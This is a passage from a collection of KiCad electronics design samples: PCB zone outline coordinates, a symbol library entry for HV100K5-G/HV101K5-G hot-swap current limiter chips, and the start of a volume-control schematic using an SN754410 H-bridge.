59524 22538 0\nZCorner 59524 22537 0\nZCorner 59525 22529 0\nZCorner 59526 22521 0\nZCorner 59527 22513 0\nZCorner 59528 22506 0\nZCorner 59534 22475 0\nZCorner 59541 22445 0\nZCorner 59548 22415 0\nZCorner 59555 22385 0\nZCorner 59606 22305 0\nZCorner 59664 22267 0\nZCorner 59730 22270 0\nZCorner 59805 22314 0\nZCorner 59826 22360 0\nZCorner 59825 22422 0\nZCorner 59801 22499 0\nZCorner 59754 22592 0\nZCorner 59676 22638 0\nZCorner 59611 22645 0\nZCorner 59560 22612 0\nZCorner 59524 22541 1\nZCorner 59621 22385 0\nZCorner 59621 22385 0\nZCorner 59621 22386 0\nZCorner 59621 22387 0\nZCorner 59621 22388 0\nZCorner 59588 22465 0\nZCorner 59575 22527 0\nZCorner 59583 22572 0\nZCorner 59614 22603 0\nZCorner 59660 22607 0\nZCorner 59702 22577 0\nZCorner 59738 22513 0\nZCorner 59770 22416 0\nZCorner 59771 22408 0\nZCorner 59772 22400 0\nZCorner 59773 22392 0\nZCorner 59774 22385 0\nZCorner 59745 22329 0\nZCorner 59712 22308 0\nZCorner 59673 22321 0\nZCorner 59629 22369 0\nZCorner 59628 22370 0\nZCorner 59627 22371 0\nZCorner 59626 22372 0\nZCorner 59625 22373 0\nZCorner 59624 22375 0\nZCorner 59623 22377 0\nZCorner 59622 22379 0\nZCorner 59621 22381 0\nZCorner 59621 22382 0\nZCorner 59621 22383 0\nZCorner 59621 22384 0\nZCorner 59621 22385 0\nZCorner 59621 22385 0\nZCorner 59621 22385 0\nZCorner 59621 22385 0\nZCorner 59621 22385 1\n$POLYSCORNERS\n59611 22645 0 0\n59660 22639 0 0\n59660 22607 0 0\n59614 22603 0 0\n59583 22572 0 0\n59575 22527 0 0\n59588 22465 0 0\n59621 22388 0 0\n59621 22381 0 0\n59625 22373 0 0\n59629 22369 0 0\n59673 22321 0 0\n59712 22308 0 0\n59745 22329 0 0\n59774 22385 0 0\n59773 22392 0 0\n59770 22416 0 0\n59738 22513 0 0\n59702 22577 0 0\n59660 22607 0 0\n59660 22639 0 0\n59676 22638 0 0\n59754 22592 0 0\n59801 22499 0 0\n59825 22422 0 0\n59826 22360 0 0\n59805 22314 0 0\n59730 22270 0 0\n59664 22267 0 0\n59606 22305 0 0\n59555 22385 0 0\n59534 22475 0 0\n59528 22506 0 0\n59527 22513 0 0\n59524 22537 0 0\n59524 22541 0 0\n59560 22612 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E63E176 0 \"\"\nZLayer 21\nZAux 26 E\nZClearance 100 T\nZMinThickness 100\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 48804 23098 0\nZCorner 48804 23838 0\nZCorner 49190 23838 0\nZCorner 49190 24582 0\nZCorner 48804 24582 0\nZCorner 48804 27097 0\nZCorner 48816 27458 0\nZCorner 48851 27614 0\nZCorner 48975 27654 0\nZCorner 49250 27667 0\nZCorner 49250 28425 0\nZCorner 48673 28425 0\nZCorner 48254 28415 0\nZCorner 47975 28384 0\nZCorner 47778 28317 0\nZCorner 47607 28196 0\nZCorner 47477 28039 0\nZCorner 47408 27860 0\nZCorner 47379 27542 0\nZCorner 47369 26969 0\nZCorner 47369 24582 0\nZCorner 47061 24582 0\nZCorner 47061 23838 0\nZCorner 47369 23838 0\nZCorner 47369 23098 0\nZCorner 48804 23098 1\n$POLYSCORNERS\n49250 28425 0 0\n49250 27667 0 0\n48975 27654 0 0\n48851 27614 0 0\n48816 27458 0 0\n48804 27097 0 0\n48804 24582 0 0\n49190 24582 0 0\n49190 23838 0 0\n48804 23838 0 0\n48804 23098 0 0\n47369 23098 0 0\n47369 23838 0 0\n47061 23838 0 0\n47061 24582 0 0\n47369 24582 0 0\n47369 26969 0 0\n47379 27542 0 0\n47408 27860 0 0\n47477 28039 0 0\n47607 28196 0 0\n47778 28317 0 0\n47975 28384 0 0\n48254 28415 0 0\n48673 28425 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E63E177 0 \"\"\nZLayer 21\nZAux 58 E\nZClearance 100 T\nZMinThickness 100\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 52624 25376 0\nZCorner 52624 25951 0\nZCorner 52624 26526 0\nZCorner 52608 27076 0\nZCorner 52560 27456 0\nZCorner 52460 27742 0\nZCorner 52288 28009 0\nZCorner 52049 28232 0\nZCorner 51751 28387 0\nZCorner 51399 28479 0\nZCorner 50999 28510 0\nZCorner 50561 28484 0\nZCorner 50195 28405 0\nZCorner 49902 28274 0\nZCorner 49683 28090 0\nZCorner 49527 27857 0\nZCorner 49423 27580 0\nZCorner 49364 27206 0\nZCorner 49345 26682 0\nZCorner 49345 26080 0\nZCorner 49345 25478 0\nZCorner 49380 24895 0\nZCorner 49486 24455 0\nZCorner 49685 24123 0\nZCorner 49996 23864 0\nZCorner 50416 23696 0\nZCorner 50938 23640 0\nZCorner 51386 23676 0\nZCorner 51765 23784 0\nZCorner 52071 23949 0\nZCorner 52298 24157 0\nZCorner 52457 24391 0\nZCorner 52555 24632 0\nZCorner 52607 24940 0\nZCorner 52624 25376 1\nZCorner 51193 25021 0\nZCorner 51184 24727 0\nZCorner 51155 24566 0\nZCorner 51094 24496 0\nZCorner 50988 24472 0\nZCorner 50882 24496 0\nZCorner 50818 24566 0\nZCorner 50786 24727 0\nZCorner 50776 25021 0\nZCorner 50776 26082 0\nZCorner 50776 27143 0\nZCorner 50786 27418 0\nZCorner 50818 27576 0\nZCorner 50881 27652 0\nZCorner 50985 27677 0\nZCorner 51090 27654 0\nZCorner 51153 27585 0\nZCorner 51183 27440 0\nZCorner 51194 27189 0\nZCorner 51194 26105 0\nZCorner 51194 25021 0\nZCorner 51194 25021 0\nZCorner 51193 25021 1\n$POLYSCORNERS\n50999 28510 0 0\n51399 28479 0 0\n51751 28387 0 0\n52049 28232 0 0\n52288 28009 0 0\n52460 27742 0 0\n52560 27456 0 0\n52608 27076 0 0\n52624 26526 0 0\n52624 25376 0 0\n52607 24940 0 0\n52555 24632 0 0\n52457 24391 0 0\n52298 24157 0 0\n52071 23949 0 0\n51765 23784 0 0\n51386 23676 0 0\n50938 23640 0 0\n50416 23696 0 0\n49996 23864 0 0\n49685 24123 0 0\n49486 24455 0 0\n49380 24895 0 0\n49345 25478 0 0\n49345 26682 0 0\n49364 27206 0 0\n49423 27580 0 0\n49527 27857 0 0\n49683 28090 0 0\n49902 28274 0 0\n50195 28405 0 0\n50561 28484 0 0\n50985 28509 0 0\n50985 27677 0 0\n50881 27652 0 0\n50818 27576 0 0\n50786 27418 0 0\n50776 27143 0 0\n50776 25021 0 0\n50786 24727 0 0\n50818 24566 0 0\n50882 24496 0 0\n50988 24472 0 0\n51094 24496 0 0\n51155 24566 0 0\n51184 24727 0 0\n51193 25021 0 0\n51194 25021 0 0\n51194 27189 0 0\n51183 27440 0 0\n51153 27585 0 0\n51090 27654 0 0\n50985 27677 0 0\n50985 28509 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E63E178 0 \"\"\nZLayer 21\nZAux 56 E\nZClearance 100 T\nZMinThickness 100\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56332 25376 0\nZCorner 56332 25951 0\nZCorner 56332 26526 0\nZCorner 56316 27076 0\nZCorner 56268 27456 0\nZCorner 56168 27742 0\nZCorner 55996 28009 0\nZCorner 55757 28232 0\nZCorner 55459 28387 0\nZCorner 55107 28479 0\nZCorner 54707 28510 0\nZCorner 54268 28484 0\nZCorner 53903 28405 0\nZCorner 53610 28274 0\nZCorner 53391 28090 0\nZCorner 53235 27857 0\nZCorner 53131 27580 0\nZCorner 53072 27206 0\nZCorner 53053 26682 0\nZCorner 53053 26080 0\nZCorner 53053 25478 0\nZCorner 53088 24895 0\nZCorner 53194 24455 0\nZCorner 53393 24123 0\nZCorner 53704 23864 0\nZCorner 54124 23696 0\nZCorner 54646 23640 0\nZCorner 55094 23676 0\nZCorner 55473 23784 0\nZCorner 55779 23949 0\nZCorner 56006 24157 0\nZCorner 56164 24391 0\nZCorner 56263 24632 0\nZCorner 56315 24940 0\nZCorner 56332 25376 1\nZCorner 54901 25021 0\nZCorner 54892 24727 0\nZCorner 54862 24566 0\nZCorner 54801 24496 0\nZCorner 54696 24472 0\nZCorner 54590 24496 0\nZCorner 54526 24566 0\nZCorner 54494 24727 0\nZCorner 54483 25021 0\nZCorner 54483 26082 0\nZCorner 54483 27143 0\nZCorner 54494 27418 0\nZCorner 54526 27576 0\nZCorner 54589 27652 0\nZCorner 54692 27677 0\nZCorner 54798 27654 0\nZCorner 54861 27585 0\nZCorner 54891 27440 0\nZCorner 54901 27189 0\nZCorner 54901 26105 0\nZCorner 54901 25021 1\n$POLYSCORNERS\n54707 28510 0 0\n55107 28479 0 0\n55459 28387 0 0\n55757 28232 0 0\n55996 28009 0 0\n56168 27742 0 0\n56268 27456 0 0\n56316 27076 0 0\n56332 26526 0 0\n56332 25376 0 0\n56315 24940 0 0\n56263 24632 0 0\n56164 24391 0 0\n56006 24157 0 0\n55779 23949 0 0\n55473 23784 0 0\n55094 23676 0 0\n54646 23640 0 0\n54124 23696 0 0\n53704 23864 0 0\n53393 24123 0 0\n53194 24455 0 0\n53088 24895 0 0\n53053 25478 0 0\n53053 26682 0 0\n53072 27206 0 0\n53131 27580 0 0\n53235 27857 0 0\n53391 28090 0 0\n53610 28274 0 0\n53903 28405 0 0\n54268 28484 0 0\n54692 28509 0 0\n54692 27677 0 0\n54589 27652 0 0\n54526 27576 0 0\n54494 27418 0 0\n54483 27143 0 0\n54483 25021 0 0\n54494 24727 0 0\n54526 24566 0 0\n54590 24496 0 0\n54696 24472 0 0\n54801 24496 0 0\n54862 24566 0 0\n54892 24727 0 0\n54901 25021 0 0\n54901 27189 0 0\n54891 27440 0 0\n54861 27585 0 0\n54798 27654 0 0\n54692 27677 0 0\n54692 28509 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E63E179 0 \"\"\nZLayer 21\nZAux 17 E\nZClearance 100 T\nZMinThickness 100\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 58984 23725 0\nZCorner 58984 28425 0\nZCorner 57553 28425 0\nZCorner 57553 26569 0\nZCorner 57511 25696 0\nZCorner 57432 25527 0\nZCorner 57284 25400 0\nZCorner 57048 25321 0\nZCorner 56707 25294 0\nZCorner 56707 23640 0\nZCorner 56985 23699 0\nZCorner 57228 23836 0\nZCorner 57436 24050 0\nZCorner 57610 24343 0\nZCorner 57553 23725 0\nZCorner 58984 23725 0\nZCorner 58984 23725 1\n$POLYSCORNERS\n58984 28425 0 0\n58984 23725 0 0\n57553 23725 0 0\n57610 24343 0 0\n57436 24050 0 0\n57228 23836 0 0\n56985 23699 0 0\n56707 23640 0 0\n56707 25294 0 0\n57048 25321 0 0\n57284 25400 0 0\n57432 25527 0 0\n57511 25696 0 0\n57553 26569 0 0\n57553 28425 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E63E17A 0 \"\"\nZLayer 21\nZAux 49 E\nZClearance 100 T\nZMinThickness 100\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 62562 25499 0\nZCorner 61212 25499 0\nZCorner 61212 24958 0\nZCorner 61201 24720 0\nZCorner 61166 24573 0\nZCorner 61101 24498 0\nZCorner 60996 24472 0\nZCorner 60893 24495 0\nZCorner 60830 24561 0\nZCorner 60798 24705 0\nZCorner 60787 24958 0\nZCorner 60787 27174 0\nZCorner 60803 27395 0\nZCorner 60851 27552 0\nZCorner 60930 27646 0\nZCorner 61038 27677 0\nZCorner 61160 27645 0\nZCorner 61235 27546 0\nZCorner 61274 27357 0\nZCorner 61286 27051 0\nZCorner 61286 26491 0\nZCorner 62561 26491 0\nZCorner 62549 26984 0\nZCorner 62520 27336 0\nZCorner 62443 27621 0\nZCorner 62283 27913 0\nZCorner 62053 28172 0\nZCorner 61761 28359 0\nZCorner 61401 28472 0\nZCorner 60964 28509 0\nZCorner 60422 28458 0\nZCorner 60005 28302 0\nZCorner 59702 28054 0\nZCorner 59503 27721 0\nZCorner 59393 27270 0\nZCorner 59356 26661 0\nZCorner 59356 25326 0\nZCorner 59386 24801 0\nZCorner 59477 24423 0\nZCorner 59665 24135 0\nZCorner 59990 23879 0\nZCorner 60426 23700 0\nZCorner 60946 23640 0\nZCorner 61465 23699 0\nZCorner 61902 23877 0\nZCorner 62233 24146 0\nZCorner 62430 24476 0\nZCorner 62529 24912 0\nZCorner 62562 25499 1\n$POLYSCORNERS\n60964 28509 0 0\n61401 28472 0 0\n61761 28359 0 0\n62053 28172 0 0\n62283 27913 0 0\n62443 27621 0 0\n62520 27336 0 0\n62549 26984 0 0\n62561 26491 0 0\n61286 26491 0 0\n61286 27051 0 0\n61274 27357 0 0\n61235 27546 0 0\n61160 27645 0 0\n61038 27677 0 0\n60930 27646 0 0\n60851 27552 0 0\n60803 27395 0 0\n60787 27174 0 0\n60787 24958 0 0\n60798 24705 0 0\n60830 24561 0 0\n60893 24495 0 0\n60996 24472 0 0\n61101 24498 0 0\n61166 24573 0 0\n61201 24720 0 0\n61212 24958 0 0\n61212 25499 0 0\n62562 25499 0 0\n62529 24912 0 0\n62430 24476 0 0\n62233 24146 0 0\n61902 23877 0 0\n61465 23699 0 0\n60946 23640 0 0\n60426 23700 0 0\n59990 23879 0 0\n59665 24135 0 0\n59477 24423 0 0\n59386 24801 0 0\n59356 25326 0 0\n59356 26661 0 0\n59393 27270 0 0\n59503 27721 0 0\n59702 28054 0 0\n60005 28302 0 0\n60422 28458 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E63E17B 0 \"\"\nZLayer 21\nZAux 56 E\nZClearance 100 T\nZMinThickness 100\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 66106 25376 0\nZCorner 66106 25951 0\nZCorner 66106 26526 0\nZCorner 66090 27076 0\nZCorner 66042 27456 0\nZCorner 65942 27742 0\nZCorner 65770 28009 0\nZCorner 65531 28232 0\nZCorner 65233 28387 0\nZCorner 64881 28479 0\nZCorner 64480 28510 0\nZCorner 64042 28484 0\nZCorner 63676 28405 0\nZCorner 63384 28274 0\nZCorner 63165 28090 0\nZCorner 63008 27857 0\nZCorner 62904 27580 0\nZCorner 62846 27206 0\nZCorner 62826 26682 0\nZCorner 62826 26080 0\nZCorner 62826 25478 0\nZCorner 62862 24895 0\nZCorner 62968 24455 0\nZCorner 63166 24123 0\nZCorner 63478 23864 0\nZCorner 63898 23696 0\nZCorner 64420 23640 0\nZCorner 64868 23676 0\nZCorner 65247 23784 0\nZCorner 65553 23949 0\nZCorner 65780 24157 0\nZCorner 65938 24391 0\nZCorner 66036 24632 0\nZCorner 66088 24940 0\nZCorner 66106 25376 1\nZCorner 64675 25021 0\nZCorner 64666 24727 0\nZCorner 64636 24566 0\nZCorner 64575 24496 0\nZCorner 64469 24472 0\nZCorner 64364 24496 0\nZCorner 64299 24566 0\nZCorner 64268 24727 0\nZCorner 64257 25021 0\nZCorner 64257 26082 0\nZCorner 64257 27143 0\nZCorner 64268 27418 0\nZCorner 64299 27576 0\nZCorner 64363 27652 0\nZCorner 64466 27677 0\nZCorner 64572 27654 0\nZCorner 64634 27585 0\nZCorner 64665 27440 0\nZCorner 64675 27189 0\nZCorner 64675 26105 0\nZCorner 64675 25021 1\n$POLYSCORNERS\n64480 28510 0 0\n64881 28479 0 0\n65233 28387 0 0\n65531 28232 0 0\n65770 28009 0 0\n65942 27742 0 0\n66042 27456 0 0\n66090 27076 0 0\n66106 26526 0 0\n66106 25376 0 0\n66088 24940 0 0\n66036 24632 0 0\n65938 24391 0 0\n65780 24157 0 0\n65553 23949 0 0\n65247 23784 0 0\n64868 23676 0 0\n64420 23640 0 0\n63898 23696 0 0\n63478 23864 0 0\n63166 24123 0 0\n62968 24455 0 0\n62862 24895 0 0\n62826 25478 0 0\n62826 26682 0 0\n62846 27206 0 0\n62904 27580 0 0\n63008 27857 0 0\n63165 28090 0 0\n63384 28274 0 0\n63676 28405 0 0\n64042 28484 0 0\n64466 28509 0 0\n64466 27677 0 0\n64363 27652 0 0\n64299 27576 0 0\n64268 27418 0 0\n64257 27143 0 0\n64257 25021 0 0\n64268 24727 0 0\n64299 24566 0 0\n64364 24496 0 0\n64469 24472 0 0\n64575 24496 0 0\n64636 24566 0 0\n64666 24727 0 0\n64675 25021 0 0\n64675 27189 0 0\n64665 27440 0 0\n64634 27585 0 0\n64572 27654 0 0\n64466 27677 0 0\n64466 28509 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E63E17C 0 \"\"\nZLayer 21\nZAux 27 E\nZClearance 100 T\nZMinThickness 100\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 68032 23725 0\nZCorner 68008 24158 0\nZCorner 68181 23932 0\nZCorner 68388 23770 0\nZCorner 68630 23673 0\nZCorner 68907 23640 0\nZCorner 69242 23684 0\nZCorner 69509 23814 0\nZCorner 69701 24010 0\nZCorner 69810 24251 0\nZCorner 69861 24603 0\nZCorner 69877 25131 0\nZCorner 69877 28425 0\nZCorner 68447 28425 0\nZCorner 68447 25170 0\nZCorner 68439 24780 0\nZCorner 68415 24579 0\nZCorner 68355 24499 0\nZCorner 68238 24472 0\nZCorner 68114 24503 0\nZCorner 68047 24595 0\nZCorner 68017 24819 0\nZCorner 68008 25248 0\nZCorner 68008 28425 0\nZCorner 66577 28425 0\nZCorner 66577 23725 0\nZCorner 68032 23725 1\n$POLYSCORNERS\n69877 28425 0 0\n69877 25131 0 0\n69861 24603 0 0\n69810 24251 0 0\n69701 24010 0 0\n69509 23814 0 0\n69242 23684 0 0\n68907 23640 0 0\n68630 23673 0 0\n68388 23770 0 0\n68181 23932 0 0\n68008 24158 0 0\n68032 23725 0 0\n66577 23725 0 0\n66577 28425 0 0\n68008 28425 0 0\n68008 25248 0 0\n68017 24819 0 0\n68047 24595 0 0\n68114 24503 0 0\n68238 24472 0 0\n68355 24499 0 0\n68415 24579 0 0\n68439 24780 0 0\n68447 25170 0 0\n68447 28425 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$EndBOARD\n"
  },
  {
    "path": "samples/KiCad Schematic/Regulator_Current.kicad_sym",
    "content": "(kicad_symbol_lib\n\t(version 20231120)\n\t(generator \"kicad_symbol_editor\")\n\t(generator_version \"8.0\")\n\t(symbol \"HV100K5-G\"\n\t\t(exclude_from_sim no)\n\t\t(in_bom yes)\n\t\t(on_board yes)\n\t\t(property \"Reference\" \"U\"\n\t\t\t(at -5.08 8.89 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(justify left)\n\t\t\t)\n\t\t)\n\t\t(property \"Value\" \"HV100K5-G\"\n\t\t\t(at 1.27 8.89 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(justify left)\n\t\t\t)\n\t\t)\n\t\t(property \"Footprint\" \"Package_TO_SOT_SMD:SOT-223-3_TabPin2\"\n\t\t\t(at 0 -12.7 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"Datasheet\" \"http://ww1.microchip.com/downloads/en/devicedoc/hv100%20b060513.pdf\"\n\t\t\t(at 8.89 1.27 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"Description\" \"Hot-Swap Current Limiter Controller, SOT223\"\n\t\t\t(at 0 0 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"ki_keywords\" \"Hot-Swap Current Limiter\"\n\t\t\t(at 0 0 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"ki_fp_filters\" \"SOT?223*TabPin2*\"\n\t\t\t(at 0 0 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(symbol \"HV100K5-G_0_1\"\n\t\t\t(rectangle\n\t\t\t\t(start -5.08 7.62)\n\t\t\t\t(end 5.08 -7.62)\n\t\t\t\t(stroke\n\t\t\t\t\t(width 0.254)\n\t\t\t\t\t(type default)\n\t\t\t\t)\n\t\t\t\t(fill\n\t\t\t\t\t(type background)\n\t\t\t\t)\n\t\t\t)\n\t\t)\n\t\t(symbol \"HV100K5-G_1_1\"\n\t\t\t(pin power_in line\n\t\t\t\t(at 0 10.16 270)\n\t\t\t\t(length 2.54)\n\t\t\t\t(name \"VPP\"\n\t\t\t\t\t(effects\n\t\t\t\t\t\t(font\n\t\t\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t\t(number \"1\"\n\t\t\t\t\t(effects\n\t\t\t\t\t\t(font\n\t\t\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t)\n\t\t\t(pin power_in line\n\t\t\t\t(at 0 -10.16 90)\n\t\t\t\t(length 2.54)\n\t\t\t\t(name \"VNN\"\n\t\t\t\t\t(effects\n\t\t\t\t\t\t(font\n\t\t\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t\t(number \"2\"\n\t\t\t\t\t(effects\n\t\t\t\t\t\t(font\n\t\t\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t)\n\t\t\t(pin output line\n\t\t\t\t(at 7.62 0 180)\n\t\t\t\t(length 2.54)\n\t\t\t\t(name \"GATE\"\n\t\t\t\t\t(effects\n\t\t\t\t\t\t(font\n\t\t\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t\t(number \"3\"\n\t\t\t\t\t(effects\n\t\t\t\t\t\t(font\n\t\t\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t)\n\t\t)\n\t)\n\t(symbol \"HV101K5-G\"\n\t\t(extends \"HV100K5-G\")\n\t\t(property \"Reference\" \"U\"\n\t\t\t(at -5.08 8.89 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(justify left)\n\t\t\t)\n\t\t)\n\t\t(property \"Value\" \"HV101K5-G\"\n\t\t\t(at 1.27 8.89 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(justify left)\n\t\t\t)\n\t\t)\n\t\t(property \"Footprint\" \"Package_TO_SOT_SMD:SOT-223-3_TabPin2\"\n\t\t\t(at 0 -12.7 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"Datasheet\" \"http://www.supertex.com/pdf/datasheets/HV100.pdf\"\n\t\t\t(at 8.89 1.27 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"Description\" \"Hot-Swap Current Limiter Controller, SOT223\"\n\t\t\t(at 0 0 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"ki_keywords\" \"Hot-Swap Current Limiter\"\n\t\t\t(at 0 0 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t\t(property \"ki_fp_filters\" \"SOT?223*TabPin2*\"\n\t\t\t(at 0 0 0)\n\t\t\t(effects\n\t\t\t\t(font\n\t\t\t\t\t(size 1.27 1.27)\n\t\t\t\t)\n\t\t\t\t(hide yes)\n\t\t\t)\n\t\t)\n\t)\n)"
  },
  {
    "path": "samples/KiCad Schematic/Volume.sch",
    "content": "EESchema Schematic File Version 2\nLIBS:mfk_alps\nLIBS:mfk_connector\nLIBS:mfk_interface\nLIBS:power\nLIBS:device\nLIBS:transistors\nLIBS:conn\nLIBS:linear\nLIBS:regul\nLIBS:74xx\nLIBS:cmos4000\nLIBS:adc-dac\nLIBS:memory\nLIBS:xilinx\nLIBS:special\nLIBS:microcontrollers\nLIBS:dsp\nLIBS:microchip\nLIBS:analog_switches\nLIBS:motorola\nLIBS:texas\nLIBS:intel\nLIBS:audio\nLIBS:interface\nLIBS:digital-audio\nLIBS:philips\nLIBS:display\nLIBS:cypress\nLIBS:siliconi\nLIBS:opto\nLIBS:atmel\nLIBS:contrib\nLIBS:valves\nLIBS:Volume-AlpsRK16814MG-cache\nEELAYER 27 0\nEELAYER END\n$Descr A 11000 8500\nencoding utf-8\nSheet 1 1\nTitle \"ALPS RK16816MG with H-bridge\"\nDate \"4 apr 2015\"\nRev \"\"\nComp \"Mithat Konar\"\nComment1 \"Copyright (C) 2015 Mithat Konar\"\nComment2 \"CERN Open Hardware Licence v1.2\"\nComment3 \"\"\nComment4 \"\"\n$EndDescr\n$Comp\nL SN754410 U1\nU 1 1 550CA683\nP 7600 4650\nF 0 \"U1\" H 7600 5350 60  0000 C CNN\nF 1 \"SN754410\" H 7600 4000 60  0000 C CNN\nF 2 \"mfk-DIP-16_AriesC84_e\" H 7600 4650 60  0001 C CNN\nF 3 \"~\" H 7600 4650 60  0000 C CNN\n\t1    7600 4650\n\t1    0    0    -1  \n$EndComp\n$Comp\nL DGND #PWR01\nU 1 1 550CA83D\nP 8450 5500\nF 0 \"#PWR01\" H 8450 5500 40  0001 C CNN\nF 1 \"DGND\" H 8450 5430 40  0000 C CNN\nF 2 \"\" H 8450 5500 60  0000 C CNN\nF 3 \"\" H 8450 5500 60  0000 C CNN\n\t1    8450 5500\n\t1    0    0    -1  \n$EndComp\n$Comp\nL DGND #PWR02\nU 1 1 550CA86E\nP 6600 5300\nF 0 \"#PWR02\" H 6600 5300 40  0001 C CNN\nF 1 \"DGND\" H 6600 5230 40  0000 C CNN\nF 2 \"\" H 6600 5300 60  0000 C CNN\nF 3 \"\" H 6600 5300 60  0000 C CNN\n\t1    6600 5300\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t6900 4550 6600 4550\nWire Wire Line\n\t6600 4550 6600 5300\nWire Wire Line\n\t6900 4700 6600 4700\nConnection ~ 6600 4700\nWire Wire Line\n\t8300 4550 8450 4550\nWire Wire Line\n\t8450 4250 8450 5500\nWire Wire Line\n\t8300 4700 8450 4700\nConnection ~ 8450 4700\nWire Wire Line\n\t3900 4450 4600 4450\nWire Wire Line\n\t4400 4450 4400 4400\nWire Wire Line\n\t4600 4450 4600 4400\nWire Wire Line\n\t4400 5250 4400 5500\nWire Wire Line\n\t4600 5400 4600 5250\nWire Wire Line\n\t5700 4200 5700 4150\nWire Wire Line\n\t5700 4150 6150 4150\nWire Wire Line\n\t6150 4400 6900 4400\nWire Wire Line\n\t5700 4850 6900 4850\nWire Wire Line\n\t5700 4800 5700 4850\nWire Wire Line\n\t8300 4250 8450 4250\nConnection ~ 8450 4550\nWire Wire Line\n\t6400 4250 6900 4250\nWire Wire Line\n\t6400 3250 6400 4250\nWire Wire Line\n\t6750 3750 8450 3750\nWire Wire Line\n\t8300 5000 8450 5000\nWire Wire Line\n\t8300 4100 8700 4100\nWire Wire Line\n\t6750 5150 6900 5150\n$Comp\nL C C1\nU 1 1 550CAD46\nP 8700 4350\nF 0 \"C1\" H 8700 4450 40  0000 L CNN\nF 1 \"100n\" H 8706 4265 40  0000 L CNN\nF 2 \"mfk-C_4.0_2.5_2.5_0.5\" H 8738 4200 30  0001 C CNN\nF 3 \"~\" H 8700 4350 60  0000 C CNN\n\t1    8700 4350\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t8700 4100 8700 4150\n$Comp\nL DGND #PWR03\nU 1 1 550CADFB\nP 8700 4700\nF 0 \"#PWR03\" H 8700 4700 40  0001 C CNN\nF 1 \"DGND\" H 8700 4630 40  0000 C CNN\nF 2 \"\" H 8700 4700 60  0000 C CNN\nF 3 \"\" H 8700 4700 60  0000 C CNN\n\t1    8700 4700\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t8700 4700 8700 4550\nText Label 6400 3250 3    50   ~ 0\nVOL_UP\nText Label 6400 6150 1    50   ~ 0\nVOL_DOWN\n$Comp\nL DGND #PWR04\nU 1 1 550CB0E4\nP 3150 2100\nF 0 \"#PWR04\" H 3150 2100 40  0001 C CNN\nF 1 